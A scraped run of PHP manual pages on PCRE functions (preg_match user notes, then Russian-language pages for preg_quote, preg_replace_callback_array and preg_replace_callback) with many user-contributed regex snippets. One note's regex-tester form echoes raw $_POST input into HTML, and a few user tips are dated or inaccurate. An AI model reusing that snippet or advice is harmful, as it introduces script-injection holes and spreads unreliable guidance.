if(ereg('[^0-9A-Za-z]',$test_string)) // will be true if characters arnt 0-9, A-Z or a-z.

if(preg_match('/[^0-9A-Za-z]/',$test_string)) // this is the preg_match version. the /'s are now required.
?>
plasma 21-Feb-2010 04:53
To extract scheme, host, path, ect. simply use

<?php

  $url  = 'http://name:pass@';
  $url .= 'example.com:10000';
  $url .= '/path/to/file.php?a=1&amp;b=2#anchor';

  $url_data = parse_url ( $url );

  print_r ( $url_data );

?>
___
prints out something like:

Array
(
    [scheme] => http
    [host] => wild.subdomain.orgy.domain.co.uk
    [port] => 10000
    [user] => name
    [pass] => pass
    [path] => /path/to/file.php
    [query] => a=1&b=2
    [fragment] => anchor
)

In my tests parse_url is up to 15x faster than preg_match(_all)!
Anonymous 06-Feb-2010 08:00
The regular expression for breaking-down a URI reference into its components:

      ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?
       12            3  4          5       6  7        8 9

Source: ietf.org/rfc/rfc2396.txt
cebelab at gmail dot com 23-Jan-2010 10:43
I noticed that in order to deal with UTF-8 texts, without having to recompile php with the PCRE UTF-8 flag enabled, you can just add the following sequence at the start of your pattern: (*UTF8)

for instance : '#(*UTF8)[[:alnum:]]#' will return TRUE for 'e' where '#[[:alnum:]]#' will return FALSE

found this very very useful tip after hours of research over the web directly in pcre website right here : http://www.pcre.org/pcre.txt
there are many further informations about UTF-8 support in the lib

hop that will help!

--
cedric
Stefan 17-Nov-2009 02:47
I spent a while replacing all my ereg() calls to preg_match(), since ereg() is now deprecated and will not be supported as of v 6.0.

Just a warning regarding the conversion, the two functions behave very similarly, but not exactly alike. Obviously, you will need to delimit your pattern with '/' or '|' characters.

The difference that stumped me was that preg_replace overwrites the $matches array regardless if a match was found. If no match was found, $matches is simply empty.

ereg(), however, would leave $matches alone if a match was not found. In my code, I had repeated calls to ereg, and was populating $matches with each match. I was only interested in the last match. However, with preg_match, if the very last call to the function did not result in a match, the $matches array would be overwritten with a blank value.

Here is an example code snippet to illustrate:

<?php
$test = array('yes','no','yes','no','yes','no');

foreach ($test as $key=>$value) {
  ereg("yes",$value,$matches1);
  preg_match("|yes|",$value,$matches2);
}
  print "ereg result: $matches1[0]<br>";
  print "preg_match result: $matches2[0]<br>";
?>

The output is:
ereg result: yes
preg_match result:

($matches2[0] in this case is empty)

I believe the preg_match behavior is cleaner. I just thought I would report this to hopefully save others some time.
ruakuu at NOSPAM dot com 03-Nov-2009 09:32
Was working on a site that needed japanese and alphabetic letters and needed to
validate input using preg_match, I tried using \p{script} but didn't work:

<?php
$pattern ='/^([-a-zA-Z0-9_\p{Katakana}\p{Hiragana}\p{Han}]*)$/u'; // Didn't work
?>

So I tried with ranges and it worked:

<?php
$pattern ='/^[-a-zA-Z0-9_\x{30A0}-\x{30FF}'
         .'\x{3040}-\x{309F}\x{4E00}-\x{9FBF}\s]*$/u';
$match_string = '???? ?????? ??????';

if (preg_match($pattern, $match_string)) {
    echo "Found - pattern $pattern";
} else {
    echo "Not found - pattern $pattern";
}
?>

U+4E00-U+9FBF Kanji
U+3040-U+309F Hiragana
U+30A0-U+30FF Katakana

Hope its useful, it took me several hours to figure it out.
splattermania at freenet dot de 01-Oct-2009 05:01
As I wasted lots of time finding a REAL regex for URLs and resulted in building it on my own, I now have found one, that seems to work for all kinds of urls:

<?php
    $regex = "((https?|ftp)\:\/\/)?"; // SCHEME
    $regex .= "([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?"; // User and Pass
    $regex .= "([a-z0-9-.]*)\.([a-z]{2,3})"; // Host or IP
    $regex .= "(\:[0-9]{2,5})?"; // Port
    $regex .= "(\/([a-z0-9+\$_-]\.?)+)*\/?"; // Path
    $regex .= "(\?[a-z+&\$_.-][a-z0-9;:@&%=+\/\$_.-]*)?"; // GET Query
    $regex .= "(#[a-z_.-][a-z0-9+\$_.-]*)?"; // Anchor
?>

Then, the correct way to check against the regex ist as follows:

<?php
       if(preg_match("/^$regex$/", $url))
       {
               return true;
       }
?>
luc _ santeramo at t yahoo dot com 03-Sep-2009 07:46
If you want to validate an email in one line, use filter_var() function !
http://fr.php.net/manual/en/function.filter-var.php

easy use, as described in the document example :
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
marcosc at tekar dot net 27-Aug-2009 09:31
When using accented characters and "n" (aeioun), preg_match does not work. It is a charset problem, use utf8_decode/decode to fix.
ian_channing at hotmail dot com 20-Aug-2009 06:13
This is a function that uses regular expressions to match against the various VAT formats required across the EU.

<?php
/**
 * @param integer $country Country name
 * @param integer $vat_number VAT number to test e.g. GB123 4567 89
 * @return integer -1 if country not included OR 1 if the VAT Num matches for the country OR 0 if no match
*/
function checkVatNumber( $country, $vat_number ) {
    switch($country) {
        case 'Austria':
            $regex = '/^(AT){0,1}U[0-9]{8}$/i';
            break;
        case 'Belgium':
            $regex = '/^(BE){0,1}[0]{0,1}[0-9]{9}$/i';
            break;
        case 'Bulgaria':
            $regex = '/^(BG){0,1}[0-9]{9,10}$/i';
            break;
        case 'Cyprus':
            $regex = '/^(CY){0,1}[0-9]{8}[A-Z]$/i';
            break;
        case 'Czech Republic':
            $regex = '/^(CZ){0,1}[0-9]{8,10}$/i';
            break;
        case 'Denmark':
            $regex = '/^(DK){0,1}([0-9]{2}[\ ]{0,1}){3}[0-9]{2}$/i';
            break;
        case 'Estonia':
        case 'Germany':
        case 'Greece':
        case 'Portugal':
            $regex = '/^(EE|EL|DE|PT){0,1}[0-9]{9}$/i';
            break;
        case 'France':
            $regex = '/^(FR){0,1}[0-9A-Z]{2}[\ ]{0,1}[0-9]{9}$/i';
            break;
        case 'Finland':
        case 'Hungary':
        case 'Luxembourg':
        case 'Malta':
        case 'Slovenia':
            $regex = '/^(FI|HU|LU|MT|SI){0,1}[0-9]{8}$/i';
            break;
        case 'Ireland':
            $regex = '/^(IE){0,1}[0-9][0-9A-Z\+\*][0-9]{5}[A-Z]$/i';
            break;
        case 'Italy':
        case 'Latvia':
            $regex = '/^(IT|LV){0,1}[0-9]{11}$/i';
            break;
        case 'Lithuania':
            $regex = '/^(LT){0,1}([0-9]{9}|[0-9]{12})$/i';
            break;
        case 'Netherlands':
            $regex = '/^(NL){0,1}[0-9]{9}B[0-9]{2}$/i';
            break;
        case 'Poland':
        case 'Slovakia':
            $regex = '/^(PL|SK){0,1}[0-9]{10}$/i';
            break;
        case 'Romania':
            $regex = '/^(RO){0,1}[0-9]{2,10}$/i';
            break;
        case 'Sweden':
            $regex = '/^(SE){0,1}[0-9]{12}$/i';
            break;
        case 'Spain':
            $regex = '/^(ES){0,1}([0-9A-Z][0-9]{7}[A-Z])|([A-Z][0-9]{7}[0-9A-Z])$/i';
            break;
        case 'United Kingdom':
            $regex = '/^(GB){0,1}([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2})|([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2}[\ ]{0,1}[0-9]{3})|((GD|HA)[0-9]{3})$/i';
            break;
        default:
            return -1;
            break;
    }

    return preg_match($regex, $vat_number);
}
?>
matt 08-May-2009 01:07
To support large Unicode ranges (ie: [\x{E000}-\x{FFFD}] or \x{10FFFFF}) you must use the modifier '/u' at the end of your expression.
corey [works at] effim [delete] .com 24-Apr-2009 08:52
I see a lot of people trying to put together phone regex's and struggling (hey, no worries...they're complicated). Here's one that we use that's pretty nifty. It's not perfect, but it should work for most non-idealists.

*** Note: Only matches U.S. phone numbers. ***

<?php

// all on one line...
$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';

// or broken up
$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})'
        .'(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})'
        .'[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';

?>

If you're wondering why all the non-capturing subpatterns (which look like this "(?:", it's so that we can do this:

<?php

$formatted = preg_replace($regex, '($1) $2-$3 ext. $4', $phoneNumber);

// or, provided you use the $matches argument in preg_match

$formatted = "($matches[1]) $matches[2]-$matches[3]";
if ($matches[4]) $formatted .= " $matches[4]";

?>

*** Results: ***
520-555-5542 :: MATCH
520.555.5542 :: MATCH
5205555542 :: MATCH
520 555 5542 :: MATCH
520) 555-5542 :: FAIL
(520 555-5542 :: FAIL
(520)555-5542 :: MATCH
(520) 555-5542 :: MATCH
(520) 555 5542 :: MATCH
520-555.5542 :: MATCH
520 555-0555 :: MATCH
(520)5555542 :: MATCH
520.555-4523 :: MATCH
19991114444 :: FAIL
19995554444 :: MATCH
514 555 1231 :: MATCH
1 555 555 5555 :: MATCH
1.555.555.5555 :: MATCH
1-555-555-5555 :: MATCH
520-555-5542 ext.123 :: MATCH
520.555.5542 EXT 123 :: MATCH
5205555542 Ext. 7712 :: MATCH
520 555 5542 ext 5 :: MATCH
520) 555-5542 :: FAIL
(520 555-5542 :: FAIL
(520)555-5542 ext .4 :: FAIL
(512) 555-1234 ext. 123 :: MATCH
1(555)555-5555 :: MATCH
daevid at daevid dot com 06-Mar-2009 03:18
I just learned about named groups from a Python friend today and was curious if PHP supported them, guess what -- it does!!!

http://www.regular-expressions.info/named.html

<?php
   preg_match("/(?P<foo>abc)(.*)(?P<bar>xyz)/",
                       'abcdefghijklmnopqrstuvwxyz',
                       $matches);
   print_r($matches);
?>

will produce:

Array
(
    [0] => abcdefghijklmnopqrstuvwxyz
    [foo] => abc
    [1] => abc
    [2] => defghijklmnopqrstuvw
    [bar] => xyz
    [3] => xyz
)

Note that you actually get the named group as well as the numerical key
value too, so if you do use them, and you're counting array elements, be
aware that your array might be bigger than you initially expect it to be.
wjaspers4 [at] gmail [dot] com 27-Feb-2009 03:16
I recently encountered a problem trying to capture multiple instances of named subpatterns from filenames.
Therefore, I came up with this function.

The function allows you to pass through flags (in this version it applies to all expressions tested), and generates an array of search results.

Enjoy!

<?php

/**
 * Allows multiple expressions to be tested on one string.
 * This will return a boolean, however you may want to alter this.
 *
 * @author William Jaspers, IV <wjaspers4@gmail.com>
 * @created 2009-02-27 17:00:00 +6:00:00 GMT
 * @access public
 *
 * @param array $patterns An array of expressions to be tested.
 * @param String $subject The data to test.
 * @param array $findings Optional argument to store our results.
 * @param mixed $flags Pass-thru argument to allow normal flags to apply to all tested expressions.
 * @param array $errors A storage bin for errors
 *
 * @returns bool Whether or not errors occurred.
 */
function preg_match_multiple(
  array $patterns=array(),
  $subject=null,
  &$findings=array(),
  $flags=false,
  &$errors=array()
) {
  foreach( $patterns as $name => $pattern )
  {
    if( 1 <= preg_match_all( $pattern, $subject, $found, $flags ) )
    {
      $findings[$name] = $found;
    } else
    {
      if( PREG_NO_ERROR !== ( $code = preg_last_error() ))
      {
        $errors[$name] = $code;
      } else $findings[$name] = array();
    }
  }
  return (0===sizeof($errors));
}
?>
skds1433 at hotmail dot com 19-Feb-2009 06:41
here is a small tool for someone learning to use regular expressions. it's very basic, and allows you to try different patterns and combinations. I made it to help me, because I like to try different things, to get a good understanding of how things work.

<?php
$search = isset($_POST['search'])?$_POST['search']:"//";
$match = isset($_POST['match'])?$_POST['match']:"<>";

echo '<form method="post">';
echo 's: <input style="width:400px;" name="search" type="text" value="'.$search.'" /><br />';
echo 'm:<input style="width:400px;" name="match" type="text" value="'.$match.'" /><input type="submit" value="go" /></form><br />';
if (preg_match($search, $match)){echo "matches";}else{echo "no match";}
?>
akniep at rayo dot info 30-Jan-2009 03:05
Bugs of preg_match (PHP-version 5.2.5)

In most cases, the following example will show one of two PHP-bugs discovered with preg_match depending on your PHP-version and configuration.

<?php

$text = "test=";
// creates a rather long text
for ($i = 0; $i++ < 100000;)
    $text .= "%AB";

// a typical URL_query validity-checker (the pattern's function does not matter for this example)
$pattern    = '/^(?:[;\/?:@&=+$,]|(?:[^\W_]|[-_.!~*\()\[\] ])|(?:%[\da-fA-F]{2}))*$/';

var_dump( preg_match( $pattern, $text ) );

?>

Possible bug (1):
=============
On one of our Linux-Servers the above example crashes PHP-execution with a C(?) Segmentation Fault(!). This seems to be a known bug (see http://bugs.php.net/bug.php?id=40909), but I don't know if it has been fixed, yet.
If you are looking for a work-around, the following code-snippet is what I found helpful. It wraps the possibly crashing preg_match call by decreasing the PCRE recursion limit in order to result in a Reg-Exp error instead of a PHP-crash.

<?php
[...]

// decrease the PCRE recursion limit for the (possibly dangerous) preg_match call
$former_recursion_limit = ini_set( "pcre.recursion_limit", 10000 );

// the wrapped preg_match call
$result = preg_match( $pattern, $text );

// reset the PCRE recursion limit to its original value
ini_set( "pcre.recursion_limit", $former_recursion_limit );

// if the reg-exp fails due to the decreased recursion limit we may not make any statement, but PHP-execution continues
if ( PREG_RECURSION_LIMIT_ERROR === preg_last_error() )
{
    // react on the failed regular expression here
    $result = [...];

    // do logging or email-sending here
    [...]
} //if

?>

Possible bug (2):
=============
On one of our Windows-Servers the above example does not crash PHP, but (directly) hits the recursion-limit. Here, the problem is that preg_match does not return boolean(false) as expected by the description / manual of above.
In short, preg_match seems to return an int(0) instead of the expected boolean(false) if the regular expression could not be executed due to the PCRE recursion-limit. So, if preg_match results in int(0) you seem to have to check preg_last_error() if maybe an error occurred.
phil dot taylor at gmail dot com 22-Oct-2008 05:01
If you need to check for .com.br and .com.au and .uk and all the other crazy domain endings i found the following expression works well if you want to validate an email address. Its quite generous in what it will allow

<?php

        $email_address = "phil.taylor@a_domain.tv";

    if (preg_match("/^[^@]*@[^@]*\.[^@]*$/", $email_address)) {
        return "E-mail address";
    }

?>
jonathan dot lydall at gmail dot removethispart dot com 26-May-2008 12:50
Because making a truly correct email validation function is harder than one may think, consider using this one which comes with PHP through the filter_var function (http://www.php.net/manual/en/function.filter-var.php):

<?php
$email = "someone@domain .local";

if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo "E-mail is not valid";
} else {
    echo "E-mail is valid";
}
?>


Экранирует символы в регулярных выражениях

  • « preg_match
  • preg_replace_callback_array »
  • PHP Manual
  • Функции PCRE
  • Экранирует символы в регулярных выражениях

preg_quote

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_quote — Экранирует символы в регулярных выражениях

Описание

preg_quote(string $str, ?string $delimiter = null): string

Функция preg_quote() принимает строку str и добавляет обратный слеш перед каждым служебным символом. Это бывает полезно, если в составлении шаблона участвуют строковые переменные, значение которых в процессе работы скрипта может меняться.

В регулярных выражениях служебными считаются следующие символы: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : - #

Обратите внимание, что символ / не является служебным.

Замечание:

Обратите внимание, что preg_quote() не предназначена для применения к строкам $replacement функции preg_replace() и т.д.

Список параметров

str

Входная строка.

delimiter

В случае, если указан необязательный параметр delimiter, он будет также экранироваться. Это удобно для экранирования разделителя, который используется в PCRE-функциях. Наиболее распространённым разделителем является символ /.

Возвращаемые значения

Возвращает экранированную строку.

Список изменений

Версия | Описание
7.3.0 | Символ # теперь экранируется
7.2.0 | delimiter теперь допускает значение null.

Примеры

Пример #1 Пример использования preg_quote()

<?php
$keywords = '$40 за g3/400';
$keywords = preg_quote($keywords, '/');
echo $keywords; // возвращает \$40 за g3\/400
?>

Пример #2 Выделение курсивом слова в тексте

<?php
// В данном примере preg_quote($word) используется, чтобы
// избежать трактовки символа '*' как спец. символа.

$textbody = "Эту книгу *очень* тяжело найти.";
$word = "*очень*";
$textbody = preg_replace ("/" . preg_quote($word, '/') . "/",
"<i>" . $word . "</i>",
$textbody);
?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • Регулярные выражения PCRE
  • escapeshellcmd() - Экранировать метасимволы командной строки

User Contributed Notes

Anonymous 05-Feb-2021 09:34
I discovered that, in addition to escaping the special regular expression characters, preg_quote() encodes the NUL byte to its octal representation:

<?php
var_dump(preg_quote("\0"));
?>

Output:

string(4) "\000"
rawr at t-regx dot com 28-Jan-2021 12:56
To have a higher level control of what your pattern looks like, try T-Regx:

Pattern::inject('This is (my|our) pattern: @', [$_GET['name']]);
ed at happysoftware dot com 22-May-2019 07:31
It should be noted that the forward slash is not escaped.  Since many regexes are surrounded by forward slashes, if you have one in your regex as  text you must escape it yourself otherwise it'll terminat the regex.
noreply at t-regx dot com 20-May-2019 08:28
If you find yourself using too much of preg_quote(), it's a good sign you might want to use Prepared Patterns from T-Regx library: https://t-regx.com/docs/handling-user-input
rwillmann at crooce dot com 25-Aug-2017 11:53
List of specials is incomplete:

--- sample code ---

$specials = '.\+*?[^]$(){}=!<>|:-';

for ($i = 0; $i <= 255; $i++) {

    if (chr($i) !== preg_quote(chr($i))) {

        printf("Character 0x%02x quoted%s\n",
               $i,
               (strpos($specials, chr($i)) === FALSE) ? ' (+)' : '');
    } /* if */
} /* for */

--- sample code ---

--- output ---

Character 0x00 quoted (+)
Character 0x21 quoted
Character 0x24 quoted
Character 0x28 quoted
Character 0x29 quoted
Character 0x2a quoted
Character 0x2b quoted
Character 0x2d quoted
Character 0x2e quoted
Character 0x3a quoted
Character 0x3c quoted
Character 0x3d quoted
Character 0x3e quoted
Character 0x3f quoted
Character 0x5b quoted
Character 0x5c quoted
Character 0x5d quoted
Character 0x5e quoted
Character 0x7b quoted
Character 0x7c quoted
Character 0x7d quoted

--- output ---
zooly 21-Jul-2009 01:07
To escape characters with special meaning, like: .-[]() and so on, use \Q and \E.

For example:

<?php echo ( preg_match('/^'.( $myvar = 'te.t' ).'$/i', 'test') ? 'match' : 'nomatch' ); ?>

Will result in: match

But:

<?php echo ( preg_match('/^\Q'.( $myvar = 'te.t' ).'\E$/i', 'test') ? 'match' : 'nomatch' ); ?>

Will result in: nomatch
Anonymous 26-Dec-2007 03:13
Wondering why your preg_replace fails, even if you have used preg_quote?

Try adding the delimiter / - preg_quote($string, '/');


Выполняет поиск и замену по регулярному выражению с использованием функций обратного вызова

  • « preg_quote
  • preg_replace_callback »
  • PHP Manual
  • Функции PCRE
  • Выполняет поиск и замену по регулярному выражению с использованием функций обратного вызова

preg_replace_callback_array

(PHP 7, PHP 8)

preg_replace_callback_array — Выполняет поиск и замену по регулярному выражению с использованием функций обратного вызова

Описание

preg_replace_callback_array(
array $pattern,
string|array $subject,
int $limit = -1,
int &$count = null,
int $flags = 0
): string|array|null

Поведение этой функции похоже на preg_replace_callback(), за исключением того, что для каждого шаблона используется своя функция обратного вызова.

Список параметров

pattern

Ассоциативный массив, связывающий шаблоны регулярного выражения (ключи) и callable (значения).

subject

Строка, в которой будет производиться поиск и замена.

limit

Максимальное количество замен для каждого шаблона в строке subject. По умолчанию -1 (без ограничений).

count

Если задан, то в указанную переменную будет записано количество произведённых замен.

flags

flags может быть комбинацией флагов PREG_OFFSET_CAPTURE и PREG_UNMATCHED_AS_NULL, которые влияют на формат массива совпадений. Смотрите описание в preg_match() для более подробной информации.

Возвращаемые значения

preg_replace_callback_array() возвращает массив, если параметр subject является массивом и строку, если строкой. В случае возникновения ошибки возвращается null

Если совпадения найдены, будет возвращена новая строка, а если нет, то исходная subject.

Ошибки

Если передали шаблон регулярного выражения, который не компилируется в допустимое регулярное выражение, выдаётся ошибка уровня E_WARNING.

Список изменений

Версия | Описание
7.4.0 | Добавлен параметр flags.

Примеры

Пример #1 Пример использования preg_replace_callback_array()

<?php
$subject = 'Aaaaaa Bbb';

preg_replace_callback_array(
[
'~[a]+~i' => function ($match) {
echo 'Найдено ', strlen($match[0]), ' совпадений "a"', PHP_EOL;
},
'~[b]+~i' => function ($match) {
echo 'Найдено ', strlen($match[0]), ' совпадений "b"', PHP_EOL;
}
],
$subject
);
?>

Результат выполнения приведённого примера:

Найдено 6 совпадений "a"
Найдено 3 совпадений "b"

Смотрите также

  • Шаблоны PCRE
  • preg_replace_callback() - Выполняет поиск по регулярному выражению и замену с использованием callback-функции
  • preg_quote() - Экранирует символы в регулярных выражениях
  • preg_replace() - Выполняет поиск и замену по регулярному выражению
  • preg_last_error() - Возвращает код ошибки выполнения последнего регулярного выражения PCRE
  • Анонимные функции

User Contributed Notes

Sz. 25-Jan-2018 05:24
Based on some tests, I found these important traits of the function. (These would
be nice to see documented as part of its spec, e.g. for confirmation. Without that,
this is just experimental curiosity. Still better than guesswork, though! ;) )

1. Changes cascade over a subject across callbacks, i.e. a change made to a
   subject by a callback will be seen by the next callback, if its pattern matches
   the changed subject.
   (But a change made by a previous call of the *same* callback (on any subject)
   will not be seen by that callback again.)

2. The pattern + callback pairs will be applied in the order of their appearance
   in $patterns_and_callbacks.

3. The callback can't be null (or '') for a quick shortcut for empty replacements.

4. Overall, the algorithm starts iterating over $patterns_and_callbacks, and then
   feeds each $subject to the current callback, repeatedly for every single match
   of its pattern on the current subject (unlike "preg_match_all", that is, which
   can do the same in one go, returning the accumulated results in an array).

   This basically means that the "crown jewel", an even more efficient function:
   "preg_replace_all_callback_array" is still missing from the collection.

   (Of course, that would better fit a new design of the regex API, where one
   API could flexibly handle various different modes via some $flags = [] array.)

5. (This last one is not specific to this function, but inherent to regexes, OTOH,
   it's probably more relevant here than anywhere else in PHP's regex support.)

   Even apparently simple cases can generate a crazy (and difficult-to-predict)
   number of matches, and therefore callback invokations, so remember the set
   $limit, where affordable. But, of course, try to sharpen your patterns first!

   E.g. use ^...$ anchoring to avoid unintended extra calls on matching substrings
   of a subject, (I.e. '/.*/', without anchoring, would match twice: once for the
   whole subject, and then for a trailing empty substring -- but I'm not quite sure
   this should actually be correct behavior, though.)
jfcherng at NOSPAM dot gmail dot com 29-Dec-2015 06:25
Here's a possible alternative in older PHP.

<?php

// if (!function_exists('preg_replace_callback_array')) {

function preg_replace_callback_array (array $patterns_and_callbacks, $subject, $limit=-1, &$count=NULL) {
    $count = 0;
    foreach ($patterns_and_callbacks as $pattern => &$callback) {
        $subject = preg_replace_callback($pattern, $callback, $subject, $limit, $partial_count);
        $count += $partial_count;
    }
    return preg_last_error() == PREG_NO_ERROR ? $subject : NULL;
}

// }

?>
drevilkuko at gmail dot com 09-Dec-2015 12:24
finally!!!

before (<=php5.6):

<?php
        $htmlString = preg_replace_callback(
            '/(href="?)(\S+)("?)/i',
            function (&$matches) {
                return $matches[1] . urldecode($matches[2]) . $matches[3];
            },
            $htmlString
        );

        $htmlString = preg_replace_callback(
            '/(href="?\S+)(%24)(\S+)?"?/i', // %24 = $
            function (&$matches) {
                return urldecode($matches[1] . '$' . $matches[3]);
            },
            $htmlString
        );
?>

php7

<?php

        $htmlString = preg_replace_callback_array(
            [
                '/(href="?)(\S+)("?)/i' => function (&$matches) {
                    return $matches[1] . urldecode($matches[2]) . $matches[3];
                },
                '/(href="?\S+)(%24)(\S+)?"?/i' => function (&$matches) {
                    return urldecode($matches[1] . '$' . $matches[3]);
                }
            ],
            $htmlString
        );
?>


Выполняет поиск по регулярному выражению и замену с использованием callback-функции

  • « preg_replace_callback_array
  • preg_replace »
  • PHP Manual
  • Функции PCRE
  • Выполняет поиск по регулярному выражению и замену с использованием callback-функции

preg_replace_callback

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

preg_replace_callback — Выполняет поиск по регулярному выражению и замену с использованием callback-функции

Описание

preg_replace_callback(
string|array $pattern,
callable $callback,
string|array $subject,
int $limit = -1,
int &$count = null,
int $flags = 0
): string|array|null

Поведение этой функции во многом напоминает preg_replace(), за исключением того, что вместо параметра replacement необходимо указывать callback-функцию.

Список параметров

pattern

Искомый шаблон. Может быть как строкой, так и массивом строк.

callback

Вызываемая callback-функция, которой будет передан массив совпавших элементов из строки subject. Callback-функция должна вернуть строку с заменой. Callback-функция должна быть описана так:

handler(array $matches): string

Достаточно часто callback функция, кроме как в вызове preg_replace_callback(), ни в чем больше не участвует. Исходя из этих соображений, можно использовать анонимные функции для создания callback-функции непосредственно в вызове preg_replace_callback(). Если вы используете такой подход, вся информация, связанная с заменой по регулярному выражению, будет собрана в одном месте, и пространство имён функций не будет загромождаться неиспользуемыми записями.

Пример #1 preg_replace_callback() и анонимная функция

<?php
/* фильтр, подобный тому, что используется в системах Unix
* для преобразования заглавных букв в начале параграфа в строчные */
$fp = fopen("php://stdin", "r") or die("не удалось прочесть stdin");
while (!feof($fp)) {
$line = fgets($fp);
$line = preg_replace_callback(
'|<p>\s*\w|',
function ($matches) {
return strtolower($matches[0]);
},
$line
);
echo $line;
}
fclose($fp);
?>

subject

Строка или массив строк для поиска и замены.

limit

Максимально возможное количество замен для каждого шаблона в каждой строке subject. По умолчанию равно -1 (без ограничений).

count

Если указана, то эта переменная будет заполнена количеством произведённых замен.

flags

flags может быть комбинацией флагов PREG_OFFSET_CAPTURE и PREG_UNMATCHED_AS_NULL, которые влияют на формат массива совпадений. Смотрите описание в preg_match() для более подробной информации.

Возвращаемые значения

preg_replace_callback() возвращает массив, если параметр subject является массивом, иначе возвращается строка. В случае ошибок возвращается null

Если найдены совпадения, будет возвращена результирующая строка, иначе subject вернётся неизмененным.

Ошибки

Если передали шаблон регулярного выражения, который не компилируется в допустимое регулярное выражение, выдаётся ошибка уровня E_WARNING.

Список изменений

Версия | Описание
7.4.0 | Добавлен параметр flags.

Примеры

Пример #2 Пример использования preg_replace_callback()

<?php
// Этот текст был использован в 2002 году
// мы хотим обновить даты к 2003 году
$text = "День смеха был 01/04/2002\n";
$text.= "Последнее Рождество было 24/12/2001\n";
// callback-функция
function next_year($matches)
{
// как обычно: $matches[0] - полное вхождение шаблона
// $matches[1] - вхождение первой подмаски,
// заключённой в круглые скобки и так далее...
return $matches[1].($matches[2]+1);
}
echo preg_replace_callback(
"|(\d{2}/\d{2}/)(\d{4})|",
"next_year",
$text);

?>

Результат выполнения приведённого примера:

День смеха был 01/04/2003
Последнее Рождество было 24/12/2002

Пример #3 Рекурсивная обработка BB-кодов с помощью preg_replace_callback()

<?php
$input = "верх [indent] глубже [indent] ещё глубже [/indent] глубже [/indent] верх";

function parseTagsRecursive($input)
{

$regex = '#\[indent]((?:[^[]|\[(?!/?indent])|(?R))+)\[/indent]#';

if (is_array($input)) {
$input = '<div style="margin-left: 10px">'.$input[1].'</div>';
}

return preg_replace_callback($regex, 'parseTagsRecursive', $input);
}

$output = parseTagsRecursive($input);

echo $output;
?>

Смотрите также

  • Регулярные выражения PCRE
  • preg_replace_callback_array() - Выполняет поиск и замену по регулярному выражению с использованием функций обратного вызова
  • preg_quote() - Экранирует символы в регулярных выражениях
  • preg_replace() - Выполняет поиск и замену по регулярному выражению
  • preg_last_error() - Возвращает код ошибки выполнения последнего регулярного выражения PCRE
  • Анонимные функции

User Contributed Notes

Evgeny 02-May-2023 09:13
Please note! if you have defined namespace,
the usage format must me changed:

echo preg_replace_callback(
            "|(\d{2}/\d{2}/)(\d{4})|",
            __NAMESPACE__ . '\\next_year',
            $text);
jobowo 21-Feb-2022 01:36
Note that when using the 'Use ($variable)' with preg_replace_callback, if you wish the value to be altered by the anonymous function, you must pass the value in by reference. eg preg_replace_callback($pattern, function($matches) use (&$alterThis) { $alterThis+=$something;},$string);
2962051004 at qq dot com 03-Oct-2018 04:03
<?php

/**
 * ?????Html??
 * Turning Chinese into Html entity
 * Author QiangGe
 * Mail 2962051004@qq.com
 *
*/

$str = <<<EOT
?? world
EOT;

function ChineseToEntity($str) {
 return preg_replace_callback(
        '/[\x{4e00}-\x{9fa5}]/u', // utf-8
        // '/[\x7f-\xff]+/', // if gb2312
        function ($matches) {
            $json = json_encode(array($matches[0]));
            preg_match('/\[\"(.*)\"\]/', $json, $arr);
            /*
             * ??json_encode???????unicode
             * ???????unicode
             * Turn the Chinese into Unicode through the json_encode function, then extract Unicode from regular.
             * I think this idea is seamless.
            */
            return '&#x'. str_replace('\\u', '', $arr[1]). ';';
        }, $str
   );
}

echo ChineseToEntity($str);
// &#x4f60;&#x597d; world
tgage at nobigfoot dot com 26-Jun-2018 08:00
To use variable from the parent scope of the anonymous callback function passed to preg_replace_callback(), utilize the use() parameter.

$var1 = "one";
$var2 = "two";
$line = preg_replace_callback('/^.*$/',
            function( $matches ) use ( $var1, $var2 ) {
                return( $var1 . " " . $var2 );
            }, $line);

Will replace the entire string with the concatenated values or $var1 and $var2 ("one two") from the parent scope.
steven at nevvix dot com 15-Jun-2018 03:34
<?php
$format = <<<SQL
CREATE DATABASE IF NOT EXISTS :database;
GRANT ALL PRIVILEGES ON :database_name.* TO ':user'@':host';
SET PASSWORD = PASSWORD(':pass');
SQL;
$args = ["database"=>"people", "user"=>"staff", "pass"=>"pass123", "host"=>"localhost"];

preg_replace_callback("/:(\w+)/", function ($matches) use ($args) {
    return @$args[$matches[1]] ?: $matches[0];
}, $format);

/*
Result:

CREATE DATABASE IF NOT EXISTS people;
GRANT ALL PRIVILEGES ON :database_name.* TO 'staff'@'localhost';
SET PASSWORD = PASSWORD('pass123');

The `:database_name` placeholder doesn't exist as a matching key in `$args` so it's returned as is.
This way you know you need to correct the array by adding the "database_name" item.
*/
Fredow 03-Mar-2015 03:35
<?php
// Nice little function that convert a string to uppercase by keeping the HTMLentities intact.
public static function strtoupper_entities($str) {

    $patternMajEntities = '/(\&([A-Z])(ACUTE|CEDIL|CARON|CIRC|GRAVE|ORN|RING|SLASH|TH|TILDE|UML)\;)+/';
    $str = preg_replace_callback ($patternMajEntities,
        function ($matches) {
            return "&" . $matches[2] . strtolower($matches[3]) . ";";
        }, strtoupper($str));

    return $str;
}
Anteaus 02-Jan-2015 08:54
Be aware that as of php5.4 you MUST NOT pass variables by reference, as in  '[, int &$count ]' - if you do it will result in a fatal error.
